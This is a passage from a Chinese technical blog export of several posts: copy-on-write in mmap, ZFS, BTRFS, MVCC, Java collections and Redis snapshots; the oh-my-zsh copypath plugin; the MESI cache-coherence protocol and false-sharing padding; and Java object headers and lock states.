提供进程间共享内存及相互通信的方式。不管是父子进程还是无亲缘关系的进程，都可以将自身用户空间映射到同一个文件或匿名映射到同一片区域。从而通过各自对映射区域的改动，达到进程间通信和进程间共享的目的。同时，如果进程 A 和进程 B 都映射了区域 C，当 A 第一次读取 C 时通过缺页从磁盘复制文件页到内存中；但当 B 再读 C 的相同页面时，虽然也会产生缺页异常，但是不再需要从磁盘中复制文件过来，而可直接使用已经保存在内存中的文件数据。 可用于实现高效的大规模数据传输。内存空间不足，是制约大数据操作的一个方面，解决方案往往是借助硬盘空间协助操作，补充内存的不足。但是进一步会造成大量的文件 I/O 操作，极大影响效率。这个问题可以通过 mmap 映射很好地解决。换句话说，但凡是需要用磁盘空间代替内存的时候，mmap 都可以发挥其功效。 缺点如下：\n文件如果很小，是小于 4096 字节的，比如 10 字节，由于内存的最小粒度是页，而进程虚拟地址空间和内存的映射也是以页为单位。虽然被映射的文件只有 10 字节，但是对应到进程虚拟地址区域的大小需要满足整页大小，因此 mmap 函数执行后，实际映射到虚拟内存区域的是 4096 个字节，11~4096 的字节部分用零填充。因此如果连续 mmap 小文件，会浪费内存空间。 对变长文件不适合，文件无法完成拓展，因为 mmap 到内存的时候，你所能够操作的范围就确定了。 如果更新文件的操作很多，会触发大量的脏页回写及由此引发的随机 IO 上。所以在随机写很多的情况下，mmap 方式在效率上不一定会比带缓冲区的一般写快 Linux 等的文件管理系统使用了写时复制策略 ZFS、BTRFS 两种写时复制文件系统，写时复制文件系统采用了日志式技术。\nZFS\nZFS 文件系统的英文名称为 Zettabyte File System, 也叫动态文件系统（Dynamic File System）, 是第一个 128 位文件系统。最初是由 Sun 公司为 Solaris 10 操作系统开发的文件系统。作为 OpenSolaris 开源计划的一部分，ZFS 于 2005 年 11 月发布，被 Sun 称为是终极文件系统，经历了 10 年的活跃开发。而最新的开发将全面开放，并重新命名为 OpenZFS。\n利用写时拷贝使 ZFS 的快照和事物功能的实现变得更简单和自然，快照功能更灵活。缺点是，COW 使碎片化问题更加严重，对于顺序写生成的大文件，如果以后随机的对其中的一部分进行了更改，那么这个文件在硬盘上的物理地址就变得不再连续，未来的顺序读会变得性能比较差。\nBTRFS\nBTRFS（通常念成 Butter FS），由 Oracle 于 2007 年宣布并进行中的 COW(copy-on-write 式）文件系统。目标是取代 Linux ext3 文件系统，改善 ext3 的限制，特别是单一文件大小的限制，总文件系统大小限制以及加入文件校验和特性。加入 ext3/4 未支持的一些功能，例如可写的磁盘快照 (snapshots)，以及支持递归的快照 (snapshots of snapshots)，内建磁盘阵列（RAID）支持，支持子卷 (Subvolumes) 的概念，允许在线调整文件系统大小。\n首先是扩展性 (scalability) 相关的特性，btrfs 最重要的设计目标是应对大型机器对文件系统的扩展性要求。Extent、B-Tree 和动态 inode 创建等特性保证了 btrfs 在大型机器上仍有卓越的表现，其整体性能而不会随着系统容量的增加而降低。其次是数据一致性 (data integrity) 相关的特性。系统面临不可预料的硬件故障，Btrfs 采用 COW 事务技术来保证文件系统的一致性。btrfs 还支持 checksum，避免了 silent corrupt 的出现。而传统文件系统则无法做到这一点。第三是和多设备管理相关的特性。Btrfs 支持创建快照 (snapshot)，和克隆 (clone) 。btrfs 还能够方便地管理多个物理设备，使得传统的卷管理软件变得多余。最后是其他难以归类的特性。这些特性都是比较先进的技术，能够显著提高文件系统的时间/空间性能，包括延迟分配，小文件的存储优化，目录索引等。\n数据库一般采用了写时复制策略，为用户提供一份 snapshot MySQL MVCC\n多版本并发控制（MVCC） 在一定程度上实现了读写并发，它只在 可重复读（REPEATABLE READ） 和 提交读（READ COMMITTED） 两个隔离级别下工作。其他两个隔离级别都和 MVCC 不兼容，因为 未提交读（READ UNCOMMITTED），总是读取最新的数据行，而不是符合当前事务版本的数据行。而 可串行化（SERIALIZABLE） 则会对所有读取的行都加锁。\n行锁，并发，事务回滚等多种特性都和 MVCC 相关。MVCC 实现的核心思路就是 Copy On Write\nJava 中的写时复制应用 j.u.c 包中支持写时复制的线程安全的集合：CopyOnWriteArrayList、CopyOnWriteArraySet\n与 fail-fast 的容器相比，fail-safe 的 COW 容器固然安全了很多，但是由于每次写都要复制整个数组，时间和空间的开销都更高，因此只适合读多写少的情景。在写入时，为了保证效率，也应尽量做批量插入或删除，而不是单条操作。并且它的正本和副本有可能不同步，因此无法保证读取的是最新数据，只能保证最终一致性。\nRedis Redis 在生成 RDB 快照文件时不会终止对外服务\nRedis 重启后可以恢复数据。比如 RDB，是保存某个瞬间 Redis 的数据库快照。执行 bgsave 命令，Redis 就会保存一个 dump.rdb 文件，这个文件记录了这个瞬间整个数据库的所有数据。Redis 厉害的地方就是，在保存的同时，Redis 还能处理命令。那么有一个很有趣的问题——Redis 是怎么保证 dump.rdb 中数据的一致性的？Redis 一边在修改数据库，一边在把数据库保存到文件，就不担心脏读脏写问题吗？\nRedis 有一个主进程，在写数据，这时候有一个命令过来了，说要把数据持久化到磁盘。我们知道 redis 的 worker 是单线程的，如果要持久化这个行为也放在单线程里，那么如果需要持久化数据特别多，将会影响用户的使用。所以单开（fork）一个进程（子进程）专门来做持久化的操作。\n至于实现原理，是这样的：fork() 之后，kernel 把父进程中所有的内存页的权限都设为 read-only，然后子进程的地址空间指向父进程。当父子进程都只读内存时，相安无事。当其中某个进程写内存时，CPU 硬件检测到内存页是 read-only 的，于是触发页异常中断（page-fault），陷入 kernel 的一个中断例程。中断例程中，kernel 就会把触发的异常的页复制一份，于是父子进程各自持有独立的一份。\n是父进程持有原品、子进程持有复制品，还是反之？\n谁修改内存，谁就持有复制品\nkernel 进行复制的单位是一个内存页吗？\ncopy 的大小是一个页大小\n参考 https://zh.wikipedia.org/wiki/寫入時複製 https://imageslr.com/2020/copy-on-write.html https://pthree.org/2012/12/14/zfs-administration-part-ix-copy-on-write/ https://m.imooc.com/wiki/linuxlesson-copysystem https://blog.51cto.com/u_15091061/2856426 https://www.wildmanli.top/2019/05/21/redis-persistent-storage-analysis/ https://maben.me/2020/04/21/mmap-implementation/ https://mp.weixin.qq.com/s/bKq-b9Ga2IA2nbhi9weZtw https://wangdh15.github.io/2020/12/08/虚拟内存总结/ https://mp.weixin.qq.com/s?__biz=MzAxODI5ODMwOA==\u0026amp;mid=2666545689\u0026amp;idx=1\u0026amp;sn=c9216fab07323d42d9cfc700299eece6\u0026amp;chksm=80dc86b2b7ab0fa4eaa4036cc08f1683bf596d6b438f057418297a8bbb840dfa3610a2892d9f\u0026amp;scene=21#wechat_redirect ","date":"2022-03-02T09:30:09Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-03-02-you-guan-cow-copyonwrite-de-yi-qie/cover.jpg","permalink":"/p/2022-03-02-you-guan-cow-copyonwrite-de-yi-qie/","title":"有关 COW (CopyOnWrite) 的一切"},{"content":"今天刚升级了 ohmyzsh 最新版本，发现添加了一个 feature，可以解决文件全路径拷贝的痛点。\n之前介绍过一些方法来解决拷贝文件全路径：\n比如：\n用 greadlink\n$ brew install coreutils $ greadlink -f file.txt ## 显示 /Users/baidu/Desktop/file.txt 图形界面下用 path finder\nAlfred 插件\n在终端打开 Finder ，或在 Finder 跳转到终端\n首先要有 Alfred, 这个一般 mac 用户都装过，然后安装插件 ：https://github.com/LeEnno/alfred-terminalfinder\n你可以在终端和文件夹自由切换了\nft: open current Finder directory in Terminal tf: open current Terminal directory in Finder fi: open current Finder directory in iTerm if: open current iTerm directory in Finder\n下面这些命令需要安装 Path Finder :https://cocoatech.com/#/\npt: open current Path Finder directory in Terminal tp: open current Terminal directory in Path Finder pi: open current Path Finder directory in iTerm ip: open current iTerm directory in Path Finder\n相比上面这些方法 ohmyzsh 显得更直接，使用和记忆起来更舒服。\n具体要先升级 ohmyzsh 最新版本，然后配置插件\nvi ~/.zshrc 文件修改后保存，打开一个新的窗口，执行 copypath 命令就可以把文件的全路径拷贝到剪切板了。\ncopypath 命令的使用方法：\n- `copypath`: copies the absolute path of the current directory. - `copypath \u0026lt;file_or_directory\u0026gt;`: copies the absolute path of the given file. ","date":"2022-02-28T02:26:52Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-02-28-ohmyzsh-xin-gong-neng-jie-jue-wen-jian-quan-lu-jing-kao-bei-/cover.jpg","permalink":"/p/2022-02-28-ohmyzsh-xin-gong-neng-jie-jue-wen-jian-quan-lu-jing-kao-bei/","title":"ohmyzsh 新功能解决文件全路径拷贝痛点"},{"content":"背景 带有高速缓存的CPU执行计算的流程 程序以及数据被加载到主内存 指令和数据被加载到CPU的高速缓存 CPU执行指令，把结果写到高速缓存 高速缓存中的数据写回主内存 高速缓存的数据结构 高速缓存的底层数据结构其实是一个拉链散列表的结构，就是有很多的bucket，每个bucket挂了很多的cache entry，每个 cache entry 由三个部分组成：tag 、 cache line 、 flag\ncache line ：缓存的数据，可以包含多个变量的值 tag ：指向了这个缓存数据在主内存的数据的地址 flag ：标识了缓存行的状态，具体状态划分见下边MESI协议 怎么在高速缓存中定位到这个变量呢？\n在处理器读写高速缓存的时候，实际上会根据变量名执行一个内存地址解码的操作，解析出来三个东西。index , tag 和 offerset 。\nindex ：用于定位到拉链散列表中的某个 bucket tag ：用于定位 cache entry offerset ：用于定位一个变量在 cache line 中的位置 由于CPU的运算速度超越了1级缓存的数据I\\O能力，CPU厂商引入了多级的缓存结构。\n多核CPU的情况下有多个一级缓存，如何保证缓存内部数据的一致,不让系统数据混乱。\n问题 每个核都有自己私有的 L1,、L2 缓存。那么多线程编程时, 另外一个核的线程想要访问当前核内 L1、L2 缓存行的数据, 该怎么办呢？\n有人说可以通过第 2 个核直接访问第 1 个核的缓存行，这是当然是可行的，但这种方法不够快。跨核访问需要通过 Memory Controller（内存控制器，是计算机系统内部控制内存并且通过内存控制器使内存与 CPU 之间交换数据的重要组成部分），典型的情况是第 2 个核经常访问第 1 个核的这条数据，那么每次都有跨核的消耗。更糟的情况是，有可能第 2 个核与第 1 个核不在一个插槽内，况且 Memory Controller 的总线带宽是有限的，扛不住这么多数据传输。所以，CPU 设计者们更偏向于另一种办法：如果第 2 个核需要这份数据，由第 1 个核直接把数据内容发过去，数据只需要传一次。\n那么什么时候会发生缓存行的传输呢？答案很简单：当一个核需要读取另外一个核的脏缓存行时发生。但是前者怎么判断后者的缓存行已经被弄脏(写)了呢？这就需要了解MESI 协议了。\nMESI “\nMESI协议是一个基于失效的缓存一致性协议，是支持写回（write-back）缓存的最常用协议。也称作伊利诺伊协议 (Illinois protocol，因为是在伊利诺伊大学厄巴纳-香槟分校被发明的[1])。与写穿（write through）缓存相比，回写缓冲能节约大量带宽。总是有“脏”（dirty）状态表示缓存中的数据与主存中不同。MESI协议要求在缓存不命中（miss）且数据块在另一个缓存时，允许缓存到缓存的数据复制。与MSI协议相比，MESI协议减少了主存的事务数量。这极大改善了性能。[2]\n”\nMESI协议缓存状态 MESI 是指4种状态的首字母。每个Cache line有4个状态，可用2个bit表示，它们分别是：\n状态 描述 M 修改 (Modified) 该Cache line有效，数据被修改了，和内存中的数据不一致，数据只存在于本Cache中。 E 独享、互斥 (Exclusive) 该Cache line有效，缓存行内容和内存中的一样，而且其它处理器都没有这行数据； S 共享 (Shared) 该Cache line有效，缓存行内容和内存中的一样, 有可能其它处理器也存在此缓存行的拷贝 I 无效 (Invalid) 该Cache line无效。 这四个状态是如何转换的？\nMESI状态转换 初始：一开始时，缓存行没有加载任何数据，所以它处于 I 状态。\n本地写（Local Write）：如果本地处理器写数据至处于 I 状态的缓存行，则缓存行的状态变成 M。\n本地读（Local Read）：如果本地处理器读取处于 I 状态的缓存行，很明显此缓存没有数据给它。此时分两种情况：\n(1) 其它处理器的缓存里也没有此行数据，则从内存加载数据到此缓存行后，再将它设成 E 状态，表示只有我一家有这条数据，其它处理器都没有；\n(2) 其它处理器的缓存有此行数据，则将此缓存行的状态设为 S 状态。（备注：如果处于M状态的缓存行，再由本地处理器写入/读出，状态是不会改变的）\n远程读（Remote Read）：假设我们有两个处理器 c1 和 c2，如果 c2 需要读另外一个处理器 c1 的缓存行内容，c1 需要把它缓存行的内容通过内存控制器 (Memory Controller) 发送给 c2，c2 接到后将相应的缓存行状态设为 S。在设置之前，内存也得从总线上得到这份数据并保存。\n远程写（Remote Write）：其实确切地说不是远程写，而是 c2 得到 c1 的数据后，不是为了读，而是为了写。也算是本地写，只是 c1 也拥有这份数据的拷贝，这该怎么办呢？c2 将发出一个 RFO (Request For Owner) 请求，它需要拥有这行数据的权限，其它处理器的相应缓存行设为 I，除了它自已，谁不能动这行数据。这保证了数据的安全，同时处理 RFO 请求以及设置I的过程将给写操作带来很大的性能消耗。\ncache line 缓存行通常是 64 字节（译注：本文基于 64 字节，其他长度的如 32 字节等不是本文讨论的重点），并且它有效地引用主内存中的一块地址。\n一个 Java 的 long 类型是 8 字节，因此在一个缓存行中可以存 8 个 long 类型的变量。所以，如果你访问一个 long 数组，当数组中的一个值被加载到缓存中，它会额外加载另外 7 个，以致你能非常快地遍历这个数组。事实上，你可以非常快速的遍历在连续的内存块中分配的任意数据结构。而如果你在数据结构中的项在内存中不是彼此相邻的（如链表），你将得不到免费缓存加载所带来的优势，并且在这些数据结构中的每一个项都可能会出现缓存未命中。\n伪共享（False Sharing） 如果存在这样的场景，有多个线程操作不同的成员变量，但是相同的缓存行，这个时候会发生什么？\n上图中，一个运行在处理器 core1上的线程想要更新变量 X 的值，同时另外一个运行在处理器 core2 上的线程想要更新变量 Y 的值。\n但是，这两个频繁改动的变量都处于同一条缓存行。两个线程就会轮番发送 RFO 消息，占得此缓存行的拥有权。当 core1 取得了拥有权开始更新 X，则 core2 对应的缓存行需要设为 I 状态。当 core2 取得了拥有权开始更新 Y，则 core1 对应的缓存行需要设为 I 状态(失效态)。\n轮番夺取拥有权不但带来大量的 RFO 消息，而且如果某个线程需要读此行数据时，L1 和 L2 缓存上都是失效数据，只有 L3 缓存上是同步好的数据。从前一篇我们知道，读 L3 的数据非常影响性能。更坏的情况是跨槽读取，L3 都要 miss，只能从内存上加载。\n表面上 X 和 Y 都是被独立线程操作的，而且两操作之间也没有任何关系。只不过它们共享了一个缓存行，但所有竞争冲突都是来源于共享。\n如何避免伪共享？\n“\n其中一个解决思路，就是让不同线程操作的对象处于不同的缓存行即可。\n”\n那么该如何做到呢？那就是缓存行填充（Padding） 。\n一条缓存行有 64 字节，而 Java 程序的对象头对象头（mark word）固定占 8 字节(32位系统)或 12 字节( 64 位系统默认开启压缩, 不开压缩为 16 字节)，所以我们只需要填 6 个无用的长整型补上6*8=48字节，让不同的 对象处于不同的缓存行，就避免了伪共享( 64 位系统超过缓存行的 64 字节也无所谓，只要保证不同线程不操作同一缓存行就可以)。\n例如：Baidu UID-generator 的作法：\n1/* 2 * Copyright (c) 2017 Baidu, Inc. All Rights Reserve. 3 * 4 * Licensed under the Apache License, Version 2.0 (the \u0026#34;License\u0026#34;); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an \u0026#34;AS IS\u0026#34; BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16package com.baidu.fsg.uid.utils; 17 18import java.util.concurrent.atomic.AtomicLong; 19 20/** 21 * 该类表示 用AtomicLong 来进行填充 ，以避免伪共享问题 22 * 23 * CPU cache line 一般为 64 字节，以下是填充后的 cache line 示例:\u0026lt;br\u0026gt; 24 * 64 bytes = 8 bytes (object reference) + 6 * 8 bytes (padded long) + 8 bytes (a long value) 25 * 26 * @author yutianbao 27 */ 28public class PaddedAtomicLong extends AtomicLong { 29 private static final long serialVersionUID = -3415778863941386253L; 30 31 /** Padded 6 long (48 bytes) */ 32 public volatile long p1, p2, p3, p4, p5, p6 = 7L; 33 34 /** 35 * Constructors from {@link AtomicLong} 36 */ 37 public PaddedAtomicLong() { 38 super(); 39 } 40 41 public PaddedAtomicLong(long initialValue) { 42 super(initialValue); 43 } 44 45 /** 46 * 为防止清理未使用的填充引用而进行 的 GC 优化 47 */ 48 public long sumPaddingToPreventOptimization() { 49 return p1 + p2 + p3 + p4 + p5 + p6; 50 } 51 52} 这里的程序对 32位的没有问题，但64位的填充感觉就不对了\n“\n在32和64位系统中，冗余变量填充所需的个数不一样。在32位系统中，Cache Line的长度为32字节，Java对象头所占据字节数分别为“Mark Word（4字节）”，“指向类的指针（4字节）”，“数组长度（4字节，只有数组对象才有该部分）”\n”\n所以 是不是可以用 5个 long 1、1个int 来填充，或者 使用 @contended 注解解决 ？\n参考： https://www.cnblogs.com/yanlong300/p/8986041.html https://www.cnblogs.com/cyfonly/p/5800758.html https://zh.wikipedia.org/wiki/MESI协议 ","date":"2022-02-17T09:57:57Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-02-17-huan-cun-yi-zhi-xing-xie-yi-mesi/cover.jpg","permalink":"/p/2022-02-17-huan-cun-yi-zhi-xing-xie-yi-mesi/","title":"缓存一致性协议-MESI"},{"content":"概述 本文我们将回答两个问题：\nsynchronized 锁的是什么？ 为什么 wait() 和 notify() 需要搭配 synchonized 关键字使用 ？ 我将通过先介绍基础知识再回答问题的方式来解答这两个问题，了解了前面的基础知识后，问题也就迎刃而解了。\n前知识-对象头（mark word） 内存布局 我们知道 java 对象的内存布局如下图所示：而其中对象头区域包含 markword 和 class pointer\n利用 JOL 可以分析内存中的对象布局 “\nJOL 的全称是 Java Object Layout。是一个用来分析 JVM 中 Object 布局的小工具。包括 Object 在内存中的占用情况，实例对象的引用情况等等。\n”\n添加依赖\n1\u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.openjdk.jol\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;jol-core\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;0.10\u0026lt;/version\u0026gt; 5\u0026lt;/dependency\u0026gt; 6 7public class A { 8 9 //占一个字节的 boolean 字段 10 private boolean flag; 11 12 public static void main(String[] args) { 13 A a = new A(); 14 15 //打印对应的对象头信息 16 System.out.println(ClassLayout.parseInstance(a).toPrintable()); 17 } 18} 我们利用上面的程序对对象头的内存情况进行一下探究。上面程序执行后的结果如下图：这里 一共 16 个字节\nmark word 占了 8 个字节 class pointer 类型指针占了 4 个字节 实例数据 1 个字节 对齐填充部分 3 个字节 其中由于 JVM 开启了指针压缩，所以 class pointer 是 4 个字节，如果关闭指针压缩（添加 vm 参数：-XX:-UseCompressedOops），则是 8 个字节。\n另外，64 位虚拟机上对象的大小必须是 8 的倍数，上图中一共 16 个字节，是 8 的倍数。\n对象头 根据 文档 （http://openjdk.java.net/groups/hotspot/docs/HotSpotGlossary.html） 得知 对象头有两个 word , 其一为 markword ，另一为 klass pointer\n通过上面的例子我们已经知道了，在开启指针压缩的情况下 对象头（mark workd + klass pointer） 一般占 12 个字节。\n但是，如果对象是数组，情况就不一样了。当对象是一个数组对象时，那么在对象头中有一个保存数组长度的空间，占用 4 字节（32bit）空间\n1public class A { 2 3 //占一个字节的 boolean 字段 4 private boolean flag; 5 6 public static void main(String[] args) { 7 8 A[] a = new A[2]; 9 10 //打印对应的对象头信息 11 System.out.println(ClassLayout.parseInstance(a).toPrintable()); 12 } 13} 可以看到 对象头（object header）又多了 4 个字节用于存放数组长度。\nklass pointer Klass Pointer是一个指向方法区中Class信息的指针，虚拟机通过这个指针确定该对象属于哪个类的实例。\n在 64 位的 JVM 中，支持指针压缩功能，根据是否开启指针压缩，Klass Pointer占用的大小将会不同：\n未开启指针压缩时，类型指针占用 8B (64bit) 开启指针压缩情况下，类型指针占用 4B (32bit) 指针压缩原理 我们将程序从 32 位移到 64 位是为了程序性能的提升，但是涉及 JVM 的情况并非总是如此，造成这种性能下降的主要原因是 64 位对象引用。\n64 位引用占用的空间是 32 位引用的两倍，这通常导致更多的内存消耗和更频繁的 GC 周期，而且对象的引用完全用不到 64 位，因为 64 位代表的内存大小为 2^64，其内存大小完全达不到，因此就需要压缩指针来获取性能上的提升。\n内存寻址是以字节为单位 ，32 位寻址空间约 4GB （4 * 1024 * 1024 * 1024 Byte） = 2 的 32 次方。同理 64 位理论上可以达到 2 的 64 次方字节，2097152T\n我们知道 JVM 对象对齐会使对象的大小都是 8 字节的倍数，这会使 oops 的最后三位始终为零，这是因为 8 的倍数始终以二进制 000 结尾。\n这 3 位 000 在堆中的存储是完全没有意义的，因此我们可以将这 3 位用来存储更多的内存地址，相当于 35 位的地址压缩在 32 位地址上使用，这样我们内存使用就从原来的 2^32=4G 提升为 2^35=32G。\n何为 Oop?\nOop(ordinary object pointer)，可以翻译为普通对象指针，指向的是 Java 对象在内存中的引用。\n哪些对象会被压缩？\n如果配置 JVM 参数 UseCompressedOops 为 true，则代表启用压缩指针，则将压缩堆中的以下 oops：\n每个对象头的 klass 字段 每个 oop 实例字段 oop 数组（objArray）的每个元素 需要注意的是，在 UseCompressedOops 已经开启的基础上，klass 可以通过 UseCompressedClassPointers 单独设置是否开启。UseCompressedClassPointers 必须基于 UseCompressedOops 开启的情况下才可以设置是否开启，如果 UseCompressedOops 设为 false，则 UseCompressedClassPointers 无法设置为 ture。\nmark word 具体来看一下 markword 的内部结构\n32 位的\n根据 JVM 源码\n64 位的\n具体我们写代码看一下：\n1public class A { 2 3 //占一个字节的 boolean 字段 4 private boolean flag; 5 6 public static void main(String[] args) { 7 8 A a = new A(); 9 10 out.println(\u0026#34;before hash\u0026#34;); 11 out.println(ClassLayout.parseInstance(a).toPrintable()); 12 13 //jvm 计算 HashCode 14 out.println(\u0026#34;jvm----------\u0026#34; + Integer.toHexString(a.hashCode())); 15 16 //当计算完 HashCode 之后，我们可以查看对象头的信息变化 17 out.println(\u0026#34;after hash\u0026#34;); 18 out.println(ClassLayout.parseInstance(a).toPrintable()); 19 } 20} 可以看到我们在没有进行 hashcode 运算的时候，所有的值都是空的。当我们计算完了 hashcode，对象头就是有了数据。因为是小端存储，所以你看的值是倒过来的。前 25bit 没有使用所以都是 0，后面 31bit 存的 hashcode。这跟上图 64 位 markword 所描述的一样。\n那么在无锁状态下 ojbect header 第一个字节 8 位存储的就是：\n即 00000001 。\n最后一位代表的锁标志为 1 ，表示该对象 无锁。\n然而锁标志位 2bit 只能表示 4 种状态（00,01,10,11）JVM 的做法将偏向锁和无锁的状态表示为同一个状态，然后根据上图中偏向锁的标识再去标识是无锁还是偏向锁状态。\nJava 的对象头在对象的不同的状态下会有不同的表现形式，主要有三种状态\n无锁状态 加锁状态 GC 标记状态 那么就可以理解 Java 当中的上锁其实可以理解给对象上锁，也就是改变对象头的状态 synchronized 锁的是什么？\n当 Java 处在偏向锁、重量级锁状态时，hashcode 值存储在哪？ “\n简单 答案 是：\n当一个对象已经计算过 identity hash code，它就无法进入偏向锁状态； 当一个对象当前正处于偏向锁状态，并且需要计算其 identity hash code 的话，则它的偏向锁会被撤销，并且锁会膨胀为重量锁； 重量锁的实现中，ObjectMonitor 类里有字段可以记录非加锁状态下的 mark word，其中可以存储 identity hash code 的值。或者简单说就是重量锁可以存下 identity hash code。 请一定要注意，这里讨论的 hash code 都只针对 identity hash code。用户自定义的 hashCode() 方法所返回的值跟这里讨论的不是一回事。\nIdentity hash code 是未被覆写的 java.lang.Object.hashCode() 或者 java.lang.System.identityHashCode(Object) 所返回的值。\n”\n前知识-JAVA 中的锁 偏向锁 作用\n偏向锁是为了消除无竞争情况下的同步原语，进一步提升程序性能。其目标就是在只有一个线程执行同步代码块时能够提高性能。\n与轻量级锁的区别\n轻量级锁是在无竞争的情况下使用CAS操作来代替互斥量的使用， 从而实现同步；而偏向锁是在无竞争的情况下完全取消同步。\n与轻量级锁的相同点\n它们都是乐观锁，都认为同步期间不会有其他线程竞争锁。\n撤消\n偏向锁的撤销，需要等待全局安全点（在这个时间点上没有字节码正在执行），它会首先暂停拥有偏向锁的线程，判断锁对象是否处于被锁定状态。撤销偏向锁后恢复到无锁（标志位为“01”）或轻量级锁（标志位为“00”）的状态。\n偏向锁的延迟\n虚拟机在启动的时候对于偏向锁有延迟。为什么要延迟呢？\nJVM 刚启动的时候，一定是有很多的线程在运行，操作系统也是知道的，所以明明知道有高并发的场景，所以就延迟了 4s。\n原理\n当线程请求到锁对象后， 将锁对象的状态标志位改为 01， 即偏向模式。然后使用CAS操作将线程的 ID 记录在锁对象的 Mark Word 中。\n以后该线程可以直接进入同步块， 连CAS操作都不需要。但是，一旦有第二条线程需要竞争锁，那么偏向模式立即结束，进入轻量级锁的状态。\n优点\n偏向锁可以提高有同步但没有竞争的程序性能。但是如果锁对象时常被多条线程竟争，那偏向锁就是多余的。\n匿名偏向\n刚刚 new 完这个对象还没有任何线程持有这把锁，那它偏向谁呢，这种的谁也不偏向，叫做匿名偏向。\n我们刚刚 new 出来的对象，如果偏向锁启动是匿名偏向，没有启动就是普通对象。\n1public class A { 2 3 //占一个字节的 boolean 字段 4 private boolean flag; 5 6 public static void main(String[] args) throws InterruptedException { 7 8 //延迟 5s 9 // TimeUnit.SECONDS.sleep(5); 10 11 A a = new A(); 12 13 out.println(\u0026#34;before hash\u0026#34;); 14 out.println(ClassLayout.parseInstance(a).toPrintable()); 15 16 //jvm 计算 HashCode 17 out.println(\u0026#34;jvm----------\u0026#34; + Integer.toHexString(a.hashCode())); 18 19 //当计算完 HashCode 之后，我们可以查看对象头的信息变化 20 out.println(\u0026#34;after hash\u0026#34;); 21 out.println(ClassLayout.parseInstance(a).toPrintable()); 22 } 23} 这里要联系对象头一起理解\nJVM 参数\n1-XX:BiasedLockingBulkRebiasThreshold = 20 // 默认偏向锁批量重偏向阈值 2-XX:BiasedLockingBulkRevokeThreshold = 40 // 默认偏向锁批量撤销阈值 3-XX:+UseBiasedLocking // 使用偏向锁，jdk6 之后默认开启 4-XX:BiasedLockingStartupDelay = 0 // 延迟偏向时间，默认不为 0，意思为 jvm 启动多少 ms 以后开启偏向锁机制（此处设为 0，不延迟） 偏向锁可以通过虚拟机的参数来控制它是否开启。\n批量重偏向与批量撤消\n渊源 从偏向锁的加锁解锁过程中可看出，当只有一个线程反复进入同步块时，偏向锁带来的性能开销基本可以忽略，但是当有其他线程尝试获得锁时，就需要等到 safe point 时，再将偏向锁撤销为无锁状态或升级为轻量级，会消耗一定的性能，所以在多线程竞争频繁的情况下，偏向锁不仅不能提高性能，还会导致性能下降。于是，就有了批量重偏向与批量撤销的机制。\n原理：以 class 为单位，为每个 class 维护一个偏向锁撤销计数器，每一次该 class 的对象发生偏向撤销操作时，该计数器+1，当这个值达到重偏向阈值（默认 20）时，JVM 就认为该 class 的偏向锁有问题，因此会进行批量重偏向。\n每个 class 对象会有一个对应的 epoch 字段，每个处于偏向锁状态对象的 Mark Word 中也有该字段，其初始值为创建该对象时 class 中的 epoch 的值。每次发生批量重偏向时，就将该值+1，同时遍历 JVM 中所有线程的栈，找到该 class 所有正处于加锁状态的偏向锁，将其 epoch 字段改为新值。下次获得锁时，发现当前对象的 epoch 值和 class 的 epoch 不相等，那就算当前已经偏向了其他线程，也不会执行撤销操作，而是直接通过 CAS 操作将其 Mark Word 的 Thread Id 改成当前线程 Id。当达到重偏向阈值后 ，假设该 class 计数器继续增长，当其达到批量撤销的阈值后（默认 40），JVM 就认为该 class 的使用场景存在多线程竞争，会标记该 class 为不可偏向，之后，对于该 class 的锁，直接走轻量级锁的逻辑。\n解决场景：批量重偏向（bulk rebias）机制是为了解决：一个线程创建了大量对象并执行了初始的同步操作，后来另一个线程也来将这些对象作为锁对象进行操作，这样会导致大量的偏向锁撤销操作。批量撤销（bulk revoke）机制是为了解决：在明显多线程竞争剧烈的场景下使用偏向锁是不合适的。\n具体例子可以参考：https://www.cnblogs.com/LemonFive/p/11248248.html\n流程\n轻量级锁 轻量级锁 是相对于重量级锁 而言的，而重量级锁就是传统的锁。\n本质\n使用 CAS 取代互斥同步。\n轻量级锁与重量级锁的比较：\n重量级锁是一种悲观锁，它认为总是有多条线程要竞争锁，所以它每次处理共享数据时，不管当前系统中是否真的有线程在竞争锁，它都会使用互斥同步来保证线程的安全；\n而轻量级锁是一种乐观锁，它认为锁存在竞争的概率比较小，所以它不使用互斥同步，而是使用 CAS 操作来获得锁， 这样能减少互斥同步所使用的『互斥量』带来的性能开销。\n实现原理\n当线程请求锁时， 若该锁对象的 Mark Word 中标志位为 01（未锁定状态） ， 则在该线程的栈帧中创建一块名为锁记录 的空间， 然后将锁对象的 Mark Word 拷贝至该空间；最后通过 CAS 操作将锁对象的 Mark Word 指向该锁记录；\n若 CAS 操作成功， 则轻量级锁的上锁过程成功；·若 CAS 操作失败， 再判断当前线程是否已经持有了该轻量级锁；若已经持有， 则直接进入同步块；若尚未持有，则表示该锁已经被其他线程占用，此时轻量级锁就要膨胀成重量级锁。\n前提\n轻量级锁比重量级锁性能更高的前提是，在轻量级锁被占用的整个同步周期内，不存在其他线程的竞争。若在该过程中一旦有其他线程竞争，那么就会膨胀成重量级锁，从而除了使用互斥量以外， 还额外发生了 CAS 操作， 因此更慢！\n流程\n有偏向锁为什么还要用轻量级锁呢？\n轻量级锁设计之初是为了应对线程之间交替获取锁的场景，而偏向锁的场景则是用于一个线程不断获取锁的场景。\n通过源码我们可以看出当一个线程获取偏向锁后，这个锁就会永久偏向这个线程，因为一旦发生偏向锁撤销，就代表锁要升级成为轻量级锁。虽然偏向锁在加锁时会进行一次 cas 操作，但是后续的获取只会进行简单的判断，不会再进行 cas 操作。但是轻量级锁的加锁和释放都需要进行 cas 操作。\n我们看下如果把轻量级锁使用在偏向锁的场景下对比：\n我们可以看到轻量级锁情况下每次获取都需要进行加锁和释放，每次加锁和释放都会进行 cas 